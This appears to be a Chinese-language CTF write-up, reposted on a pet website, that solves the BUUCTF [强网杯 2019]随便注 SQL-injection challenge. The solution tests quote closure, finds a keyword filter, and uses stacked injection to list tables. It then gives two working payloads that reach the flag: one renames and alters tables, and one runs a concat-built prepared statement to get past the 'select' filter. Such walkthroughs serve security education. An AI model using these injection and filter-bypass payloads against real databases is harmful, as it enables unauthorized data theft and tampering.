您好,欢迎来到画鸵萌宠网。
搜索
您的当前位置:首页BUUCTF [强网杯 2019]随便注 1(两种方法)

BUUCTF [强网杯 2019]随便注 1(两种方法)

来源:画鸵萌宠网

[强网杯 2019]随便注 1

第一步,先判断注入点的传参方式,发现是get传参。

第二步,判断闭合方式:

先输入 1

然后再尝试输入:1’

说明了两点:本题的闭合方式确实是 ’ 闭合,同时我们确定在本题我们是有可能是能使用报错注入的。

1’and 1=1-- q

1’and 1=2-- q

说明闭合方式为 单引号

第三步,判断是否有关键字过滤:

先直接输入: select 查看回显,发现:

发现本题过滤关键字:/select|update|delete|drop|insert|where|\.而且不区分大小写。

坏了,select一被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了。我们只剩下了 堆叠注入。

先尝试使用堆叠注入:

1’;show database-- q

发现可以

1’;show tables-- q

发现有两个表,我们 一 一 尝试:

 1'; show columns from `words`-- q

当然在报错注入查询 数据库名字的时候是不用select的,所以在这里我们是可以用的:

1' and (extractvalue(1,concat(0x7e,database(),0x7e)))-- q

查询表名:

1'; show columns from `1919810931114514`-- q

发现flag.

关于在这里使用 ` 而不是 ’ 的一些解释:

两者在linux下和windows下不同,linux下不区分,windows下区分。

单引号 ’ 或双引号主要用于 字符串的引用符号

反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)

有MYSQL保留字作为字段的,必须加上反引号来区分!!!

如果是数值,请不要使用引号。

但是,在接着查询 id 就需要 select了

到这里就有两个思路:

第一种:比较骚的思路,让程序中已经存在的select语法帮我们进行查询,把words改名为其他,191这个表改名为words,然后再添加id字段,将flag字段改为data。

  • 先将 words 改为别的名字 比如 words2 或者其他
  • 然后将 1919810931114514 改为 words
  • 把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
    在这之前当然要先把words表改名为其他

所以我们可以这么构造playload:

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);-- q
1';show tables-- q

1'; show columns from words-- q

1'or1=1-- q

第二种方法:利用concat拼接(mysql的语法知识)

-1’;use supersqli;set @sql=concat(‘s’,'elect flag from 1919810931114514');PREPARE stmt1 FROM @sql;EXECUTE stmt1-- q

这里set为变量赋值

PREPARE设置sql查询语法

EXECUTE 执行函数

因篇幅问题不能全部显示,请点此查看更多更全内容

Copyright © 2019- huatuo8.com 版权所有 湘ICP备2023022238号-1

违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务